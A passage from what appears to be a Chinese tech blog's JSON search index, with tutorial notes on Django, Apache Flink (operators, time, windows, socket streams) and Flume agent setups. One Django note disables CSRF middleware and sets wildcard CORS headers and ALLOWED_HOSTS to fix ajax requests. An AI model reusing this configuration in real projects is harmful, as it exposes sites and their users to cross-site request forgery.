setting.py 文件中ALLOWED_HOSTS = [\"*\"]#允许所有人访问 在 setting.py 文件中 #设置语言LANGUAGE_CODE = 'zh-hans'#设置时区TIME_ZONE = 'Asia/Shanghai' 运行当前项目python manage.py runserver 运行成功，在浏览器访问http://127.0.0.1:8000/#会显示正常工作 添加一个路由，在 urls.py 文件中添加urlpatterns = [ url(r'^admin/', admin.site.urls), # alt+enter 添加,需要导包，App下面的views url(r\"^login/\",views.login),] 需要在 app 中的 views.py 去创建视图函数 login def login(request): #必须返回的是httpResponse对象 return HttpResponse(\"你真是一个小机灵鬼！！！\") 执行 python manage.py runserver 将服务器重新部署 在浏览器访问的时候，这时候需要使用 http://127.0.0.1:8000/login"},{"title":"","date":"2019-09-22T07:09:00.000Z","updated":"2022-05-12T11:48:00.000Z","comments":true,"path":"notes/Django/static.html","permalink":"https://blog.mhuig.top/notes/Django/static","excerpt":"","text":"Django 中引用静态文件 Django 中引用静态文件 Django 中引用静态文件 当我们将我们的 html 文件放到 Templates 文件中的时候，这时候此 html 我们可以直接引用， 若出现这个 html 文件，它还引用了其他的一些文件【js，css，img】，这是就需要引用 django 中静态的文件 需要在 Templates 的同级目录下创建一个 static 目录需要在 setting 文件中添加代码#默认自带的STATIC_URL = '/static/'#添加代码STATICFILES_DIRS = ( os.path.join(BASE_DIR, 'static'),) 将 html 需要用到的资源，放在 static 目录下 在 html 中引用静态资源 &lt;head&gt; &lt;meta charset=\"UTF-8\"&gt; &lt;title&gt;&lt;/title&gt; &lt;script src=\"/static/js/jquery-2.1.0.js\" type=\"text/javascript\" charset=\"utf-8\"&gt;&lt;/script&gt; &lt;link rel=\"stylesheet\" type=\"text/css\" href=\"/static/css/style.css\"/&gt;&lt;/head&gt; 配置路由，在 urls.py 文件中配置urlpatterns = [ url(r'^admin/', admin.site.urls), url(r\"^getlogin\",views.getlogin)] 需要在 views.py 文件中创建 getlogin 函数def getlogin(request): #返回登录的页面 return render(request,\"login.html\") 启动服务python manage.py runserver 127.0.0.1:9000 如何请求接口http://127.0.0.1:9000/getlogin"},{"title":"","date":"2019-09-22T07:09:00.000Z","updated":"2022-05-12T11:46:00.000Z","comments":true,"path":"notes/Django/urlpatterns.html","permalink":"https://blog.mhuig.top/notes/Django/urlpatterns","excerpt":"","text":"Django 添加新的路由 Django 添加新的路由 Django 添加新的路由首先 urls.py 文件添加路由urlpatterns = [ url(r'^admin/', admin.site.urls), # alt+enter url(r\"^login/\",views.login), url(r\"^app/addStu/\",views.addStu), url(r\"^register\",views.register)] 在 views.py 中创建函数 registerdef register(request): print(\"register\") user = request.POST.get(\"user\") print(user) psd = request.POST.get(\"psd\") print(psd) #解决跨域问题 response = HttpResponse(user) response[\"Access-Control-Allow-Origin\"] = \"*\" response[\"Access-Control-Allow-Methods\"] = \"POST, GET, OPTIONS\" response[\"Access-Control-Max-Age\"] = \"1000\" response[\"Access-Control-Allow-Headers\"] = \"*\" return response 由于 ajax 跨域的问题，也需要在 settings.py 文件中设置，将选中的模块注释MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', # 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware',] 我们的 ajax 请求在前端中使用的，在使用 ajax 之前，我们需要将 jquery 链接到我们的项目中&lt;script src=\"js/jquery-2.1.0.js\" type=\"text/javascript\" charset=\"utf-8\"&gt;&lt;/script&gt;src:jquery的链接地址 调用 ajax 请求$.ajax({ type:\"post\",//请求的类型 url:\"http://127.0.0.1:8000/register/\",//请求的地址[路由] async:true, //声明异步请求 data:{\"user\":user,\"psd\":psd},//将参数传递到后台 dataType:\"text\", //声明返回的数据的类型，json success:function (data) { //请求成功的时候调用的函数，data：后台返回给我们的数据 alert(data) }, error:function () { //请求的失败的时候，打印 alert(\"请求失败\") }})"},{"title":"","date":"2019-09-19T03:25:00.000Z","updated":"2022-05-10T06:43:00.000Z","comments":true,"path":"notes/Echarts/Overview.html","permalink":"https://blog.mhuig.top/notes/Echarts/Overview","excerpt":"","text":"Overview Overview volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-BigData-Archive-4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", \"MHuiG\", \"BigData-Archive\", \"4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", false); })"},{"title":"","date":"2022-05-10T06:36:00.000Z","updated":"2022-05-10T06:36:00.000Z","comments":true,"path":"notes/Echarts/index.html","permalink":"https://blog.mhuig.top/notes/Echarts/","excerpt":"","text":".fa-secondary{opacity:.4} Echarts Echarts .prev-next{ display: none !important; }"},{"title":"","date":"2022-05-10T01:55:00.000Z","updated":"2022-05-10T01:55:00.000Z","comments":true,"path":"notes/Flink/index.html","permalink":"https://blog.mhuig.top/notes/Flink/","excerpt":"","text":".fa-secondary{opacity:.4} Flink Flink .prev-next{ display: none !important; }"},{"title":"","date":"2020-01-11T06:12:00.000Z","updated":"2022-05-10T02:00:00.000Z","comments":true,"path":"notes/Flink/operator.html","permalink":"https://blog.mhuig.top/notes/Flink/operator","excerpt":"","text":"Operator Flink 常用的算子 Flink 数据处理模型在 Flink 应用程序中，无论你的应用程序是批程序，还是流程序，都是下图这种模型，有数据源（source），有数据下游（sink） Source: 数据源 基于本地集合、基于文件、基于网络套接字 自定义的 source Apache kafka、RabbitMQ Transformation: 数据转换 Map / FlatMap / Filter / KeyBy / Reduce / Fold / Aggregations / Window / WindowAll / Union / Window join / Split / Select / Project Sink: 接收器 写入文件、打印出来、写入 Socket 、自定义的 Sink 自定义的 Sink Apache kafka、RabbitMQ、MySQL、ElasticSearch、Apache Cassandra、HDFS Flink 算子 OperatorMap获取一个元素并生成一个元素 FlatMap获取一个元素并生成零个、一个或多个元素 filter KeyByKeyBy 在逻辑上是基于 key 对流进行分区，相同的 Key 会被分到一个分区 AggregationsDataStream API 支持各种聚合， 这些函数可以应用于 KeyedStream 以获得 Aggregations 聚合 常用的方法有 min、minBy、max、minBy、sum max 和 maxBy 之间的区别在于 max 返回流中的最大值，但 maxBy 返回具有最大值的键， min 和 minBy 同理 WindowWindow 函数允许按时间或其他条件对现有 KeyedStream 进行分组 10 秒的时间窗口的和（聚合） socketStream.keyBy(0).window(Time.seconds(10)).sum(1) UnionUnion 函数将两个或多个数据流结合在一起，这样后面在使用的时候就只需使用一个数据流就行了 inputStream.union(inputStream1, inputStream2, ...) val socketStream = env.socketTextStream(\"localhost\", 9000, '\\n')val textStream = env.readTextFile(\"/word.txt\")socketStream.union(textStream) Window Join通过一些 key 将同一个 window 的两个数据流 join 起来 stream.join(otherStream) .where(&lt;KeySelector&gt;) .equalTo(&lt;KeySelector&gt;) .window(&lt;WindowAssigner&gt;) .apply(&lt;JoinFunction&gt;) inputStream.join(inputStream1) .where(0).equalTo(1) .window(Time.seconds(5)) .apply (new JoinFunction () {...}); Split根据条件将流拆分为两个或多个流 Select从拆分流中选择特定流，那么就得搭配使用 Select 算子 通常搭配 Split 算子一起使用"},{"title":"","date":"2020-01-09T06:58:00.000Z","updated":"2022-05-10T02:01:00.000Z","comments":true,"path":"notes/Flink/overview.html","permalink":"https://blog.mhuig.top/notes/Flink/overview","excerpt":"","text":"Overview Flink 概述 Apache Flink 是一个面向分布式数据流处理和批量数据处理的开源计算平台，提供支持流处理和批处理两种类型应用的功能 Flink 是什么 Apache Flink 是一个面向分布式数据流处理和批量数据处理的开源计算平台，提供支持流处理和批处理两种类型应用的功能 Apache Flink 的前身是柏林理工大学一个研究性项目， 在 2014 被 Apache 孵化器所接受，然后迅速地成为了 Apache Software Foundation 的顶级项目之一 代码主要由 Java 实现，部分代码是 Scala Flink 主要处理的场景就是流数据，批处理只是流数据的一个极限特例 数据类型有界流（bounded stream） 批量数据 有界流有定义流的开始，也有定义流的结束。有界流可以在摄取所有数据后再进行计算。有界流所有数据可以被排序，所以并不需要有序摄取。有界流处理通常被称为批处理。 有界流通常被称为有界数据集，数据的特点为有限不会改变的数据集合 常见的有界流 T+1 的销售数据 11 月的汽车销售数量 2018 年全国电影票房 无界流（unbounded stream） 实时数据 有定义流的开始，但没有定义流的结束。它们会无休止地产生数据。无界流的数据必须持续处理，即数据被摄取后需要立刻处理。我们不能等到所有数据都到达再处理，因为输入是无限的，在任何时候输入都不会完成。处理无界数据通常要求以特定顺序摄取数据，例如事件发生的顺序，以便能够推断结果的完整性。 无界流通常被称为无穷数据集，数据的特点为无穷集成的数据集合 常见的无界流 用户与客户断的实时交互数据 应用时产生的日志 金融市场的实时交易记录 有界流和无界流 数据运算模型流式计算 只要数据一直在产生，计算就持续的进行 处理无界数据集 批处理 在预定义的时间内运行计算，当计算完成时释放计算机资源 处理有界数据集 Flink 组件栈 Deploy本地 Local 一个 Java 虚拟机 Single JVM（IDE 中直接运行） 集群 Cluster Standalone（start-cluster.sh） YARN MESOS K8s 云 Cloud GCE google AWS/EC2 amazon MapR Aliyun Program Code Flink 应用程序代码 Job Client 任务执行起点，负责接受用户的程序代码、创建数据流、提交数据流给 Job Manager 、返回结果 Job Manager 作业管理器协调管理程序 Task Manager 从 Job Manager 接受需要部署的 Task RuntimeRuntime 层提供了支持 Flink 计算的全部核心实现，比如：支持分布式 Stream 处理、JobGraph 到 ExecutionGraph 的映射、调度等等，为上层 API 层提供基础服务 API&amp;Libaries 核心 APIs DataSet API：批处理，处理有界的数据集 DataStream API：流式处理，处理有界或无界的数据集 Table API 以表为中心声明的 DSL select、project、join、group-by、aggregate 操作 支持与 DataStream/DataSet 混合使用 SQL Flink 提供的最高级抽象 支持与 DataStream/DataSet 混合使用 面向批处理的 Lib FlinkML 机器学习 Gelly 图处理 面向流处理的类库 CEP 复杂事件处理 SQL-Like Table 的关系操作 Flink 的基本编程模型 Source 数据输入 基于文件 基于本地集合 基于网络套接字 自定义：Apache Kafka、RabbitMQ Transformation 数据转换 Map、FlatMap、Filter、Reduce、Window Sink 数据输出 写文件 打印 socket 自定义：Apache Kafka、HDFS、MySQL 大数据框架对比（流式 / 实时数据处理） 大数据 Lamdba 框架"},{"title":"","date":"2020-01-10T01:19:00.000Z","updated":"2022-05-10T02:01:00.000Z","comments":true,"path":"notes/Flink/program.html","permalink":"https://blog.mhuig.top/notes/Flink/program","excerpt":"","text":"Programming Model Flink 编程模型 Apache Flink 是一个面向分布式数据流处理和批量数据处理的开源计算平台，提供支持流处理和批处理两种类型应用的功能 Flink 环境准备 Flink 编写程序需要依赖 Java——JDK 项目使用 Maven 管理依赖 ——Maven 开发工具使用 IDEA——IntelliJ IDEA JDK 8https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html Mavenhttp://maven.apache.org/download.cgi IntelliJ IDEAhttps://www.jetbrains.com/idea/download/#section=windows 下载 Flinkhttps://flink.apache.org/downloads.html 安装 Scala Plugins点击 File -&gt; Settings 菜单，或 Ctrl + Alt + S 快捷键。打开设置面板。并切换到 Plugins 插件视图搜索 Scala 点击 Install Flink 项目模版基于 Java 的项目模版Flink WordCount Java 源码 GitHub 在命令行使用 maven 创建 Flink 项目mvn archetype:generate \\-DarchetypeGroupId=org.apache.flink \\-DarchetypeArtifactId=flink-quickstart-java \\-DarchetypeVersion=1.8.3 根据提示输入 groupId、artifactId groupId：com.qst（所在公司、学校、组织官网网址的反写） artifactId：wordcount-java（项目名称） 项目目录结构 使用 mvn 命令创建项目后我们会得到一个如下结构的项目目录 编译项目 在项目所在目录执行 mvn clean package 命令对项目进行编译 这时 maven 会下载 Flink 项目需要的依赖包并编译项目 编译完成后产生一个 target/&lt;artifact-id&gt;-&lt;version&gt;.jar 文件 基于 Scala 的项目模版mvn archetype:generate \\-DarchetypeGroupId=org.apache.flink \\-DarchetypeArtifactId=flink-quickstart-scala \\-DarchetypeVersion=1.8.3 Flink WordCountFlink WordCount scala 源码 GitHub 创建 WrodCount 项目在命令行使用 maven 创建 Flink 项目mvn archetype:generate \\-DarchetypeGroupId=org.apache.flink \\-DarchetypeArtifactId=flink-quickstart-scala \\-DarchetypeVersion=1.8.3 根据提示在输入 groupId、artifactId groupId：com.qst（所在公司、学校、组织官网网址的反写） artifactId：wordcount-scala（项目名称） 其它选项使用默认值 将项目导入 IDEA 在 IDEA 中将 flink-wordcount 项目导入 选择 Import Project 找到 wordcount-scala 所在目录将项目导入 IDEA 开发 WordCount 程序第一步：设定执行环境 运行 Flink 程序的第一步就是获得相应的执行环境，执行环境决定了程序在什么环境执行（本地 / 集群） 不同的运行环境也决定了程序的类型 批处理 ExecutionEnvironment 流处理 StreamExecutionEnvironment 第二步：指定数据源 读取数据 定义执行环境后需要获得需要处理的数据，将外部数据转换成 DateStream 或 DataSet如下方法读取所示使用 readTextFile() 方法读取文件中的数据并转换成 DataStream 数据集 val source = env.readTextFile(\"/word.txt\") 第三步：对数据集执行转换操作 Flink 中的 Transformation 操作通过不同的 Operator 来实现对数据的操作 Operator 内部通过 Function 接口完成数据处理 在 DataStream API 和 DataSet API 中提供了大量的转换操作flatMap、map、filter、keyBy source.flatMap(line =&gt; line.toLowerCase.split(\"\\\\W+\")) //将文本转换成数组.filter(_.length &gt; 0) //过滤空字符串.map(word =&gt; (word, 1)) //转换成 key-value 接口.keyBy(0) //按照指定字段（key）对数据进行分区.sum(1) //执行求和运算 第四步：输出结果经过转换后形成了最终结果，通常需要将结果数据输出到外部系统中 source.flatMap(line =&gt; line.toLowerCase.split(\"\\\\W+\")) //将文本转换成数组.filter(_.length &gt; 0) //过滤空字符串.map(word =&gt; (word, 1)) //转换成 key-value 接口.keyBy(0) //按照指定字段（key）对数据进行分区.sum(1) //执行求和运算.print() //输出到控制台//.writeAsText(\"/word_out.txt\") //写入外部文件 第五步：触发程序执行所有的计算逻辑完成之后，需要调用 StreamExecutionEnvironment 的 execute 方法来触发应用程序的执行 env.execute(\"Streaming Scala WordCount\") 运行 &amp; 编译 WordCount 程序编译 WordCount 应用程序 在程序根目录执行 mvn clean package 命令进行编译 这时 maven 会下载 Flink 项目需要的依赖包并编译项目 编译完成后产生一个 target/&lt;artifact-id&gt;-&lt;version&gt;.jar 文件"},{"title":"","date":"2020-01-10T01:53:00.000Z","updated":"2022-05-10T02:02:00.000Z","comments":true,"path":"notes/Flink/socket.html","permalink":"https://blog.mhuig.top/notes/Flink/socket","excerpt":"","text":"Socket Flink 实时处理 Socket 数据 Flink Socket 源码 GitHub 通过 Maven Archetype 创建项目创建项目mvn archetype:generate \\-DarchetypeGroupId=org.apache.flink \\-DarchetypeArtifactId=flink-quickstart-scala \\-DarchetypeVersion=1.9.0 通过以上 Maven 命令进行项目创建的过程中，命令会交互式地提示用户对项目的 groupId、artifactId、version、package 等信息进行定义，且部分选项有默认值，直接回车即可。如图如果创建项目成功之后，客户端会有相应提示。 这里我们分别指定 groupId、artifactId 的信息分别如下，其余参数使用默认值 groupId：com.qst artifactId：flink-socket 检查项目对于使用 Maven 创建的项目，我们可以看到的项目结构如下所示 以上项目结构可以看出，该项目是一个 Scala 代码的项目，分别是 BatchJob.java 和 StreamingJob.java 两个文件，分别对应 Flink 批量接口 DataSet 的实例代码和流式接口的实例代码。 将项目导入 IDE项目经过上述步骤创建后，Flink 官网推荐使用 Intellij IDEA 进行后续项目开发。 编译项目项目经过上述步骤创建后，可以使用 Maven Command 命令 mvn clean package 对项目进行编译，编译完成后会在项目同级目录下生成 target/&lt;artifactId&gt;-&lt;version&gt;.jar 文件，此 jar 文件就可以通过 Web 客户端提交到集群上运行。 开发环境配置这里我们使用官网推荐的 IntelliJ IDEA 作为应用的开发的 IDE。 下载 IntelliJ IDEA用户可以通过 IntelliJ IDEA 官方地址下载安装程序，根据操作系统选择相应的程序包进行安装。 安装 Scala Plugins安装完 IntelliJ IDEA 默认是不支持 Scala 开发环境的，需要安装 Scala 插件进行支持。一下说明在 IDEA 中进行 Scala 插件的安装。 打开 IDEA IDE 后，在 IntelliJ IDEA 菜单栏中选择 Preferences 选项，然后选择 Plugins 子选项，最后在页面中选择 Marketplace，在搜索框中输入 Scala 进行搜索 在检索出来的选项列表中选择和安装 Scala 插件 点击安装后重启 IDE，Scala 编程环境即可生效 导入 Flink 项目 启动 IntelliJ IDEA，选择 Import Project，在文件选项框中选择创建好的项目，点击确定。 导入项目中选择 Import project from external mode 中的 Maven 后续选项使用默认值即可。 Flink Socket 应用程序编写 Flink Socket 应用程序代码import org.apache.flink.streaming.api.scala._object StreamingJob { def main(args: Array[String]) { //设置环境变量 val env = StreamExecutionEnvironment.getExecutionEnvironment //指定数据源，读取socket val socketStream = env.socketTextStream(\"localhost\", 9000, '\\n') //对数据集指定转换操作逻辑 val count = socketStream .flatMap(_.toLowerCase.split(\"\\\\W+\")) .filter(_.nonEmpty) .map((_, 1)) .keyBy(0) .sum(1) //将计算结果打印到控制台 count.print() //指定任务名称并触发流式任务 env.execute(\"Socket Stream\") }} 在 IDE 中测试代码在代码文件中右键运行程序 此时会报如下错误 这时我们需要在 IDEA 的 Run/Debug Configuration 中将 Include dependencies with \"Provided\" scope 选项勾选，这时我们就可以在本地 IDE 运行了 在本地测试代码首先在命令行我们现在终端开启监听端口 9000，在命令行中执行如下命令 nc -l 9000 然后在 IDE 中 右键运行 StreamingJob 类的 main 方法，运行结果如下 在 Web 客户端中运行 Job首先在项目所在目录执行 mvn clean package 进行打包，在项目的 target 目录下生成一个 flink-socket-1.0-SNAPSHOT.jar 文件在命令行我们现在终端开启监听端口 9000，在命令行中执行如下命令 nc -l 9000 在浏览器中打开 Flink Web 监控页面，在左侧选择 Submit New Job 选项，点击 右上角的 Add New 选择我们编译好的 flink-socket-1.0-SNAPSHOT.jar 文件，点击 Submit 按钮提交 Job 选择 Task Managers 选择列表中的对应 Job 点击 Stdout 选项查看执行结果"},{"title":"","date":"2020-01-10T07:12:00.000Z","updated":"2022-05-10T02:03:00.000Z","comments":true,"path":"notes/Flink/time.html","permalink":"https://blog.mhuig.top/notes/Flink/time","excerpt":"","text":"Time Flink 时间语义 Flink 的三种时间语义 Processing Time：事件被处理时机器的系统时间 Event Time：事件自身的时间 Ingestion Time：事件进入 Flink 的时间 Process Time事件处理时间 即事件被处理时机器的系统时间 特点 最简单的 Time 概念 最好的性能和最低的延迟 分布式和异步环境下，不能提供确定性（不能保证结果数据的准确性） 容易受到事件到达系统的速度 (如消息队列)、事件在系统内操作流动的速度和中断的影响 Event Time事件自身的时间，一般就是数据本身携带的时间 特点 数据本身携带，时间取决于数据 事件到达 Flink 之前就已经确定 必须指定如何生成 WaterMarks，用来表示 Event Time 进度的机制 无论事件什么时候到达或者其怎么排序，最后处理 Event Time 将产生完全一致和确定的结果 Ingestion Time事件进入 Flink 的时间 在数据源操作处（进入 Flink source 时），每个事件将进入 Flink 时当时的时间作为时间戳 特点 事件在进入数据源（Flink Source）时的时间作为时间戳 介于 Event Time 和 Processing Time 之间 Time 生成的位置 Flink Time 使用场景Time 的使用场景一般来说在生产环境中使用 Processing Time 和 Event Time 比较多，Ingestion Time 一般用的较少 Processing Time 使用场景Processing Time 使用场景 用户不关心事件时间，只关心这个时间窗口要有数据进来 Processing Time 的几种应用场景举例 淘宝双十一晚会大屏幕的下单总金额 Event Time 使用场景Event Time 使用场景 业务需求需要时间这个字段 Event Time 的几种应用场景举例 购物时先有下单事件、再有支付事件 机器异常检测出发的警告也需要具体的事件展示出来 商品广告及时精准推荐给用户依赖的就是用户在浏览器的时间段 / 频率 / 时长等信息 处理延迟的数据可能出现的情况影响事件到达不一定及时、乱序、延迟 网络抖动 服务可用性 消息队列的分区数据堆积 但是使用事件时间的话，就可能有这样的情况：数据源采集的数据往消息队列中发送时可能因为网络抖动、服务可用性、消息队列的分区数据堆积的影响而导致数据到达的不一定及时，可能会出现数据出现一定的乱序、延迟几分钟等，庆幸的是 Flink 支持通过 WaterMark 机制来处理这种延迟的数据 如何设置 Time 策略？val env = StreamExecutionEnvironment.getExecutionEnvironmentenv.setStreamTimeCharacteristic(TimeCharacteristic.ProcessingTime)env.setStreamTimeCharacteristic(TimeCharacteristic.EventTime)env.setStreamTimeCharacteristic(TimeCharacteristic.IngestionTime)"},{"title":"","date":"2020-01-11T01:12:00.000Z","updated":"2022-05-10T01:55:00.000Z","comments":true,"path":"notes/Flink/window.html","permalink":"https://blog.mhuig.top/notes/Flink/window","excerpt":"","text":"Window Flink 中的三种 Window Flink Window Demo 源码 GitHub 什么是 Window？统计经过某红绿灯的汽车数量之和？ 假设在一个红绿灯处，统计通过此红绿灯的汽车数量 可以把汽车的经过看成一个流，无穷的流，不断有汽车经过此红绿灯，因此无法统计总共的汽车数量。但是，我们可以换一种思路，每隔 15 秒，我们都将与上一次的结果进行 sum 操作（滑动聚合） 这个结果似乎还是无法回答我们的问题，根本原因在于流是无界的，我们不能限制流，但可以在有一个有界的范围内处理无界的流数据。因此，我们需要换一个问题的提法：每分钟经过某红绿灯的汽车数量之和？ 这个问题，就相当于一个定义了一个 Window（窗口），Window 的界限是 1 分钟，且每分钟内的数据互不干扰，因此也可以称为翻滚（不重合）窗口，如下图： 再考虑一种情况，每 30 秒统计一次过去 1 分钟的汽车数量之和 此时，Window 出现了重合。这样，1 个小时内会有 120 个 Window。 Window 指定时间范围内的所有数据 滚动窗口 各个窗口之间的数据不重叠（不重复） 滑动窗口 各个窗口之间的数据重叠（重复） Window 有什么作用？通常来讲，Window 就是用来对一个无限的流设置一个有限的集合，在有界的数据集上进行操作的一种机制。Window 又可以分为基于时间（Time-based）的 Window 以及基于数量（Count-based）的 window。 Flink 中的三种 WindowFlink 在 KeyedStream（DataStream 的继承类） 中提供了下面几种 Window： 以时间驱动的 Time Window 以事件数量驱动的 Count Window 以会话间隔驱动的 Session Window Time Window 正如命名那样，Time Window 根据时间来聚合流数据。 例如：一分钟的时间窗口就只会收集一分钟的数据，并在一分钟过后对窗口中的所有数据应用于下一个算子。 在 Flink 中使用 Time Window 非常简单，输入一个时间参数，这个时间参数可以利用 Time 这个类来控制，如果事前没指定 TimeCharacteristic 类型的话，则默认使用的是 ProcessingTime dataStream.keyBy(1).timeWindow(Time.minutes(1)) //time Window 每分钟统计一次数量和.sum(1); dataStream.keyBy(1).timeWindow(Time.minutes(1), Time.seconds(30)) //隔 30s 统计过去1m和.sum(1); Count WindowApache Flink 还提供计数窗口功能，如果计数窗口的值设置的为 3 ，那么将会在窗口中收集 3 个事件，并在添加第 3 个事件时才会计算窗口中所有事件的值。 dataStream.keyBy(1).countWindow(3) //统计每 3 个元素的数量之和.sum(1); dataStream.keyBy(1) .countWindow(4, 3) //每隔 3 个元素统计过去 4 个元素的数量之和.sum(1); Session WindowApache Flink 还提供了会话窗口，是什么意思呢？使用该窗口的时候你可以传入一个时间参数（表示某种数据维持的会话持续时长），如果超过这个时间，就代表着超出会话时长。 dataStream.keyBy(1).window(ProcessingTimeSessionWindows.withGap(Time.seconds(5)))//表示如果 5s 内没出现数据则认为超出会话时长，然后计算这个窗口的和.sum(1);"},{"title":"","date":"2019-05-10T06:25:00.000Z","updated":"2022-05-12T03:47:00.000Z","comments":true,"path":"notes/Flume/avro.html","permalink":"https://blog.mhuig.top/notes/Flume/avro","excerpt":"","text":"两个 agent 级联 Flume 两个 agent 级联 需求分析第一个 agent 负责收集文件当中的数据，通过网络发送到第二个 agent 当中去，第二个 agent 负责接收第一个 agent 发送的数据，并将数据保存到 hdfs 上面去 第一步：node02 安装 flume将 node03 机器上面解压后的 flume 文件夹拷贝到 node02 机器上面去 cd /export/serversscp -r apache-flume-1.6.0-cdh5.14.0-bin/ node02:$PWD 第二步：node02 配置 flume 配置文件在 node02 机器配置我们的 flume cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim tail-avro-avro-logger.conf tail-avro-avro-logger.conf################### Name the components on this agenta1.sources = r1a1.sinks = k1a1.channels = c1# Describe/configure the sourcea1.sources.r1.type = execa1.sources.r1.command = tail -F /export/servers/taillogs/access_loga1.sources.r1.channels = c1# Describe the sink##sink avro is a sendera1.sinks = k1a1.sinks.k1.type = avroa1.sinks.k1.channel = c1a1.sinks.k1.hostname = 192.168.52.120a1.sinks.k1.port = 4141a1.sinks.k1.batch-size = 10# Use a channel which buffers events in memorya1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100# Bind the source and sink to the channela1.sources.r1.channels = c1a1.sinks.k1.channel = c1 第三步：node02 开发定脚本文件往写入数据mkdir -p /export/servers/shells/cd /export/servers/shells/vim tail-file.sh tail-file.sh#!/bin/bashwhile truedodate &gt;&gt; /export/servers/taillogs/access_log; sleep 0.5;done 创建文件夹 mkdir -p /export/servers/taillogs 第四步：node03 开发 flume 配置文件在 node03 机器上开发 flume 的配置文件 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim avro-hdfs.conf avro-hdfs.conf# Name the components on this agenta1.sources = r1a1.sinks = k1a1.channels = c1# Describe/configure the source##source avro is a receivera1.sources.r1.type = avroa1.sources.r1.channels = c1a1.sources.r1.bind = 192.168.52.120a1.sources.r1.port = 4141# Describe the sinka1.sinks.k1.type = hdfsa1.sinks.k1.hdfs.path = hdfs://node01:8020/avro/hdfs/%y-%m-%d/%H%M/a1.sinks.k1.hdfs.filePrefix = eventsa1.sinks.k1.hdfs.round = truea1.sinks.k1.hdfs.roundValue = 10a1.sinks.k1.hdfs.roundUnit = minutea1.sinks.k1.hdfs.rollInterval = 3a1.sinks.k1.hdfs.rollSize = 20a1.sinks.k1.hdfs.rollCount = 5a1.sinks.k1.hdfs.batchSize = 1a1.sinks.k1.hdfs.useLocalTimeStamp = true# Sequencefile,DataStreama1.sinks.k1.hdfs.fileType = DataStream# Use a channel which buffers events in memorya1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100# Bind the source and sink to the channela1.sources.r1.channels = c1a1.sinks.k1.channel = c1 第五步：顺序启动node03 机器启动 flume 进程 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-binbin/flume-ng agent -c conf -f conf/avro-hdfs.conf -n a1 -Dflume.root.logger=INFO,console node02 机器启动 flume 进程 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/bin/flume-ng agent -c conf -f conf/tail-avro-avro-logger.conf -n a1 -Dflume.root.logger=INFO,console node02 机器启 shell 脚本生成文件 cd /export/servers/shellssh tail-file.sh"},{"title":"","date":"2019-05-10T06:27:00.000Z","updated":"2022-05-12T05:35:00.000Z","comments":true,"path":"notes/Flume/balancer.html","permalink":"https://blog.mhuig.top/notes/Flume/balancer","excerpt":"","text":"负载均衡 Flume 负载均衡 load balancer 负载均衡是用于解决一台机器 (一个进程) 无法解决所有请求而产生的一种算法。Load balancing Sink Processor 能够实现 load balance 功能，如下图 Agent1 是一个路由节点，负责将 Channel 暂存的 Event 均衡到对应的多个 Sink 组件上，而每个 Sink 组件分别连接到一个独立的 Agent 上，示例配置，如下所示： 在此处我们通过三台机器来进行模拟 flume 的负载均衡三台机器规划如下：node01：采集数据，发送到 node02 和 node03 机器上去node02：接收 node01 的部分数据node03：接收 node01 的部分数据 第一步：开发 node01 服务器的 flume 配置node01 服务器配置： cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim load_banlancer_client.conf load_banlancer_client.conf#agent namea1.channels = c1a1.sources = r1a1.sinks = k1 k2#set gruopa1.sinkgroups = g1#set channela1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100a1.sources.r1.channels = c1a1.sources.r1.type = execa1.sources.r1.command = tail -F /export/servers/taillogs/access_log# set sink1a1.sinks.k1.channel = c1a1.sinks.k1.type = avroa1.sinks.k1.hostname = node02a1.sinks.k1.port = 52020# set sink2a1.sinks.k2.channel = c1a1.sinks.k2.type = avroa1.sinks.k2.hostname = node03a1.sinks.k2.port = 52020#set sink groupa1.sinkgroups.g1.sinks = k1 k2#set failovera1.sinkgroups.g1.processor.type = load_balancea1.sinkgroups.g1.processor.backoff = truea1.sinkgroups.g1.processor.selector = round_robina1.sinkgroups.g1.processor.selector.maxTimeOut=10000 第二步：开发 node02 服务器的 flume 配置cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim load_banlancer_server.conf load_banlancer_server.conf# Name the components on this agenta1.sources = r1a1.sinks = k1a1.channels = c1# Describe/configure the sourcea1.sources.r1.type = avroa1.sources.r1.channels = c1a1.sources.r1.bind = node02a1.sources.r1.port = 52020# Describe the sinka1.sinks.k1.type = logger# Use a channel which buffers events in memorya1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100# Bind the source and sink to the channela1.sources.r1.channels = c1a1.sinks.k1.channel = c1 第三步：开发 node03 服务器 flume 配置node03 服务器配置 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim load_banlancer_server.conf load_banlancer_server.conf# Name the components on this agenta1.sources = r1a1.sinks = k1a1.channels = c1# Describe/configure the sourcea1.sources.r1.type = avroa1.sources.r1.channels = c1a1.sources.r1.bind = node03a1.sources.r1.port = 52020# Describe the sinka1.sinks.k1.type = logger# Use a channel which buffers events in memorya1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100# Bind the source and sink to the channela1.sources.r1.channels = c1a1.sinks.k1.channel = c1 第四步：准备启动 flume 服务启动 node03 的 flume 服务 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-binbin/flume-ng agent -n a1 -c conf -f conf/load_banlancer_server.conf -Dflume.root.logger=DEBUG,console 启动 node02 的 flume 服务 cd 